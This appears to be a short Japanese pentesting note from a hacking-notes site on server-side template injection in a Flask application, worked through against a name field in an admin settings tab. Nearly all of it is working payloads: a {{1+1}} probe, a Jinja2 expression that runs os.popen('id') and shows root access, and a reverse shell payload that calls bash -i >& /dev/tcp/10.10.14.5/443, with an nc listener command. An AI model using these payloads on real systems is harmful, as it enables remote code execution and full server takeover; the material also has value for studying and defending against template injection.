> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).
# SSTI Flask
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSTI Flask メモ。
## SSTI:
サブドメイン内に、 **設定** 管理者ユーザー情報（氏名、生年月日、電話番号）を変更できるタブがあります。
「氏名」フォームでSSTI攻撃を実行しようとすると、サーバーは脆弱です。これをテストするには、 `{{ }}`、計算を解釈するかどうかを確認します：
```python
{{1+1}}
```
次に、コマンドを実行します（たとえば、 `id`):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
それがグループに属していることがわかります `root`.
サーバーにアクセスするために、リバースシェルを実行します
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```
攻撃用マシンの443ポートでリスナーを起動します：
```bash
nc -nlvp 443
```
---
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